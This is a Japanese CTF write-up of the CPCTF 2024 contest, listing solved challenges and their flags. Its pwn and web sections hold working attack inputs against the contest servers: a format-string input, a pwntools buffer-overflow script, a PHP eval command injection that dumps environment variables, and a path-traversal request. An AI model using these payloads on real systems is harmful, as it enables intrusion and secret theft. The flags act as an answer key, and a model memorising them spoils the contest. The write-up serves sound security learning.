この大会は2024/4/16 19:00(JST)~2024/4/17 7:00(JST)に開催されました。
この大会は個人戦。結果は1258点で155チーム中50位でした。
自分で解けた問題をWriteupとして書いておきます。
netcat (Shell, NEWBIE)
$ nc shell-netcat.web.cpctf.space 30010 CPCTF{nc_means_netcat}
CPCTF{nc_means_netcat}
veeeeeeery long text (Shell, EASY)
$ ssh user@veeeeeeery-long-text.web.cpctf.space -p 30011 The authenticity of host '[veeeeeeery-long-text.web.cpctf.space]:30011 ([160.251.173.212]:30011)' can't be established. ED25519 key fingerprint is SHA256:Yvdru5SCX5nmOaDr1cJTqK8rjP6vLZfEaEtkRncV+Uc. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[veeeeeeery-long-text.web.cpctf.space]:30011' (ED25519) to the list of known hosts. user@veeeeeeery-long-text.web.cpctf.space's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-79-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Apr 20 13:52:44 2024 from 106.154.142.142 $ ls flag.txt $ cat flag.txt | grep CPCTF CPCTF{p1pe_15_u5efu1}FjmZDU+#_w0Dp@tnD]>MvLEDo\.P;nq0::qM1&V7*~X
CPCTF{p1pe_15_u5efu1}
About half (PPC)
以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。
問題文 飴が全部で A+B 個あって、Aliceに A 個、Bobに B 個分けました。 AliceとBobは、相手の持っている飴の個数が、自分の持っている飴の個数の 2 倍より大きいとき、分け方に文句を言います。 この分け方にAliceもBobも文句を言わないかどうか判定をしてください。 制約 ・入力はすべて整数 ・1≤A,B≤500 入力 入力は以下の形式で標準入力から与えられる。 A B 出力 AliceもBobも文句を言わないならばYes、AliceとBobのどちらかでも文句を言うならばNoを出力してください。
以下のプログラムで、通った。
a, b = map(int, input().split()) if a > b * 2: print('No') elif b > a * 2: print('No') else: print('Yes')
CPCTF{n07_h41f}
Compound Word (PPC, NEWBIE)
以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。
問題文 N 個の文字列 S1, S2 , ⋯,SN が与えられる。 これらの文字列のうち、異なる二つの文字列 Si, Sj を選び、Si Sj の順につなげた文字列を T をします。 この時、T としてあり得る文字列は何通りあるか求めてください。 制約 ・N は整数 ・2≤N≤50 ・Si は英小文字からなる文字列 ・1≤∣Si∣≤100 ・Si ≠ Sj (i ≠ j) ・∑ | Si | ≤ 300 入力 入力は以下の形式で標準入力から与えられる。 N S1 ⋮ SN 出力 答えを出力せよ。
以下のプログラムで、通った。
import itertools N = int(input()) words = [] for _ in range(N): word = input() words.append(word) str_list = [] for c in itertools.permutations(words, 2): s = ''.join(c) str_list.append(s) ans = len(set(str_list)) print(ans)
CPCTF{Set_is_Useful_ki70v9354v7onymw}
mokomoko(OSINT, NEWBIE)
画像検索すると、以下のぺージが見つかる。
https://weathernews.jp/s/topics/201810/180115/
ひたち海浜公園の電話番号は029-265-9001。
CPCTF{0292659001}
Attack! Attack! Win! (Pwn, NEWBIE)
$ nc attack_attack_win.web.cpctf.space 30005 Defeat the enemy to get the flag! YourHP:100 enemyHp:100 1: Attack 2: Heal 3: Hocus Pocus 3 Memory leak! Attack : 0x55eba06a1070 Heal : 0x55eba06a1078 HocusPocus : 0x55eba06a1080 win : 0x55eba06a1058
このメモリの状況から、1がAttack、2がHeal、3がHocusPocusで、Atackより3小さい数字である-2を指定すればwinが実行されることがわかる。
YourHP:50 enemyHp:100 1: Attack 2: Heal 3: Hocus Pocus -2 You got the flag! CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F} YourHP:0 enemyHp:100 You lose...
CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}
CPCT...... (Pwn, EASY)
FSBを使い、5文字以上の長さを取るようにする。
$ nc cpct.web.cpctf.space 30006 Please enter some string! (max 4 character) %64x Thank you! Your input: c4fd6a80 Length: 64 This is your reward! CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}
CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}
The sky's the limit (Pwn, EASY)
BOFでwin関数をコールすればよい。ただし、strlenで長さのチェックがあるので、途中"\x00"を入れ、入力文字列の長さを偽装する。
$ ROPgadget --binary chall | grep ": ret" 0x000000000040101a : ret
from pwn import * if len(sys.argv) == 1: p = remote('the_skys_the_limit.web.cpctf.space', 30007) else: p = process('./chall') elf = ELF('./chall') ret_addr = 0x40101a win_addr = elf.symbols['win'] payload = b'A' * 15 payload += b'\x00' * (24 - len(payload)) payload += p64(ret_addr) payload += p64(win_addr) data = p.recvuntil(b':').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to the_skys_the_limit.web.cpctf.space on port 30007: Done [*] '/media/sf_Shared/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) input:b'AAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\x89\x12@\x00\x00\x00\x00\x00' CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}Segmentation fault (core dumped) [*] Closed connection to the_skys_the_limit.web.cpctf.space port 30007
CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}
peeping (Binary, NEWBIE)
$ strings chall | grep CPCTF CPCTF{b3_4_cLa1rv0yANt}
CPCTF{b3_4_cLa1rv0yANt}
Just reversing? (Binary, EASY)
flagの各インデックスのASCIIコード(chr)に対して以下のように暗号化している。
flag_enc[strlen(flag) - i - 1] = chr / 16 + chr % 16 * 16;
逆算し、復号する。
#!/usr/bin/env python3 with open('flag_enc.txt', 'rb') as f: enc = f.read() flag = '' for i in range(len(enc)): c = enc[len(enc) - i - 1] flag += chr((c % 16) * 16 + (c // 16)) print(flag)
CPCTF{l17Er4llY_r3vErs1nG}
Number Guesser (Binary, EASY)
Ghidraでデコンパイルする。
undefined8 main(void) { long in_FS_OFFSET; undefined8 local_1a; undefined2 local_12; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_1a = 0; local_12 = 0; puts("Guess the number!"); __isoc99_scanf(&DAT_00102016,&local_1a); if (((((char)local_1a == '1') && (local_1a._1_1_ == '7')) && (local_1a._2_1_ == '7')) && (((local_1a._3_1_ == '0' && (local_1a._4_1_ == '4')) && (local_1a._5_1_ == '\0')))) { printFlag(&local_1a); } else { puts("Wrong..."); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
番号は17704を指定すればよい。
$ ./chall Guess the number! 17704 CPCTF{l4Ck3Y_NuMb3R!}
CPCTF{l4Ck3Y_NuMb3R!}
Typing game (Web, NEWBIE)
タイピングを10秒以内に行えば、フラグが表示されるようだ。
https://typing-game.web.cpctf.space/main.jsを見ると、以下のように書いてあった。
document.getElementById("flag").textContent = "CPCTF{y0u_4r3_4_typ1ng_m45t3r}";
CPCTF{y0u_4r3_4_typ1ng_m45t3r}
Let's buy some array (Web, EASY)
evalを使って結果を表示しているので、コマンドインジェクションを行う。
$ curl https://lets-buy-some-array.web.cpctf.space/purchase.php -d 'quantity1=system("env");1&quantity2=1&quantity3=1' <html> <head> <title>数列屋</title> <meta charset="utf-8"> </head> <body> <h1>レジ</h1> <form action="purchase.php" method="post"> <table> <tr> <th>商品名</th> <th>単価</th> <th>個数</th> <th>小計</th> </tr> <tr> <td>フィボナッチ数列</td> <td>1000</td> <td>system("env");1</td> <td>APACHE_CONFDIR=/etc/apache2 HOSTNAME=8b09318702ae PHP_INI_DIR=/usr/local/etc/php SHLVL=0 PHP_LDFLAGS=-Wl,-O1 -pie APACHE_RUN_DIR=/var/run/apache2 PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_VERSION=8.3.6 APACHE_PID_FILE=/var/run/apache2/apache2.pid GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin APACHE_LOCK_DIR=/var/lock/apache2 LANG=C APACHE_RUN_GROUP=www-data APACHE_RUN_USER=www-data APACHE_LOG_DIR=/var/log/apache2 PWD=/var/www/html PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae APACHE_ENVVARS=/etc/apache2/envvars FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5} FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}</td> </tr> <tr> <td>素数列</td> <td>2000</td> <td>1</td> <td>2000</td> </tr> <tr> <td>三角数列</td> <td>1500</td> <td>1</td> <td>1500</td> </tr> </table> <p>合計金額はAPACHE_CONFDIR=/etc/apache2 HOSTNAME=8b09318702ae PHP_INI_DIR=/usr/local/etc/php SHLVL=0 PHP_LDFLAGS=-Wl,-O1 -pie APACHE_RUN_DIR=/var/run/apache2 PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_VERSION=8.3.6 APACHE_PID_FILE=/var/run/apache2/apache2.pid GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin APACHE_LOCK_DIR=/var/lock/apache2 LANG=C APACHE_RUN_GROUP=www-data APACHE_RUN_USER=www-data APACHE_LOG_DIR=/var/log/apache2 PWD=/var/www/html PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae APACHE_ENVVARS=/etc/apache2/envvars FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5} FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}円です。この画面を実店舗の店員にご提示ください。</p> </form> </body> </html>
環境変数のFLAGにフラグが設定されていた。
CPCTF{3x3c_Func710n_1s_d4ng3r0u5}
Read Novels (Web)
パストラバーサルでflagファイルを読み取る。
$ curl https://read-novels.web.cpctf.space/novel?name=../flag <!DOCTYPE html> <html> <head> <title>../flag</title> <style></style> </head> <body style="white-space: pre-wrap"> <h1>../flag</h1> CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5} </body> </html>
CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}
white has much information (Forensics, EASY)
Whitespace言語。https://www.dcode.fr/whitespace-languageで読み取る。
CPCTF{C4n_y0u_533_7h15?}
Substitution (Crypto, NEWBIE)
換字式暗号と推測し、quipqiupで復号する。
Well done! Solving this cryptogram requires both skill and patience. You've demonstrated exceptional acumen and perseverance. Bravo for cracking the code and unlocking its secrets! CPCTF{hello_crypto_world}
CPCTF{hello_crypto_world}
RSA Trial (Crypto, EASY)
hint = p ** 3 + q ** 3 = (p + q) ** 3 - 3 * p * q * (p + q) = (p + q) ** 3 - 3 * n * (p + q)
p + q = xとすると、xの3次方程式になり、p + qを求めることができる。
phiは以下のように計算し、求めることができる。
phi = (p - 1) * (q - 1) = p * q - (p + q) + 1 = n - (p + q) + 1
phiがわかれば、dを算出でき、復号できる。
#!/usr/bin/env python3 from Crypto.Util.number import * import sympy with open('output.py', 'r') as f: params = f.read().splitlines() e = int(params[0].split(' ')[-1]) n = int(params[1].split(' ')[-1]) c = int(params[2].split(' ')[-1]) hint = int(params[3].split(' ')[-1]) x = sympy.Symbol('x') eq = x ** 3 - 3 * n * x - hint xs = sympy.solve(eq) for x in xs: if x.is_Integer: x = int(x) break phi = n - x + 1 d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
CPCTF{Equ47i0n5_4r3_v3ry_h31pfu1}